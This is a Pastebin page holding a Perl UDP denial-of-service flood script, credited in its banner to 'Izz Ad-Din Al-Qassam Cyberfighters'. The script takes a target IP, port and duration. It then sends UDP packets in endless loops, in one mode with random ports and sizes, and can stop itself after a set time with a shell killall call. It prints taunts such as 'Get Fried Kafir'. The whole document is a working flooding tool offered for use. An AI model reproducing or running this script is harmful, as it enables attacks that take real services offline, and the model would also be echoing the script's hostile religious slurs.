iViiRuS

Al Qassam VPS UDP DoS Script * Perl *

May 11th, 2014
842
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use Socket;
  5.  
  6. $ARGC=@ARGV;
  7.  
  8. if ($ARGC !=3) {
  9. printf "
  10.   |            
  11.  / \                                                            
  12. /   \                                              
  13. (_____)                                            
  14. |   | +___________________________________+      
  15. |   |     ____________________________    |              
  16. |   | |  |                            |   |                      
  17. |   | |  |                            |   |      
  18. |   | |  |                            | O |    
  19. |   | |  |                            | O |      
  20. |   | |  |____________________________|   |      
  21. |___|    _____________________________________                          
  22.     +--| \ [][][][][][][][][][][][][] [][][]  \
  23.           \ [][][][][][][][][][][][]  [][][]  \
  24.            \ __________________________________\
  25.              ____________________________________|
  26. ";
  27.  
  28. printf "UDP DoS Script ";
  29. printf "Coded by Sheikh ";
  30. printf "Izz Ad-Din Al-Qassam Cyberfighters";
  31.  
  32. }
  33.  
  34. my ($ip,$port,$size,$time);
  35. $ip=$ARGV[0];
  36. $port=$ARGV[1];
  37. $time=$ARGV[2];
  38.  
  39. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  40. $iaddr = inet_aton("$ip");
  41.  
  42. print <<EOTEXT;
  43. Izz Ad-Din Al-Qassam cyberfighters
  44. Get Fried Kafir
  45. EOTEXT
  46. printf "~You are getting fried Kafir!~ $ip on port $portn";
  47.  
  48. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  49. goto randpackets;
  50. }
  51. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  52. system("(sleep $time;killall -9 udp) &");
  53. goto packets;
  54. }
  55. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  56. goto packets;
  57. }
  58. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  59. system("(sleep $time;killall -9 udp) &");
  60. goto randpackets;
  61. }
  62.  
  63. packets:
  64. for (;;) {
  65. $size=$rand x $rand x $rand;
  66. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  67. }
  68.  
  69. randpackets:
  70. for (;;) {
  71. $size=int(rand(1500000-64)+64) ;
  72. $port=int(rand 65000) +1;
  73. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  74. }
RAW Paste Data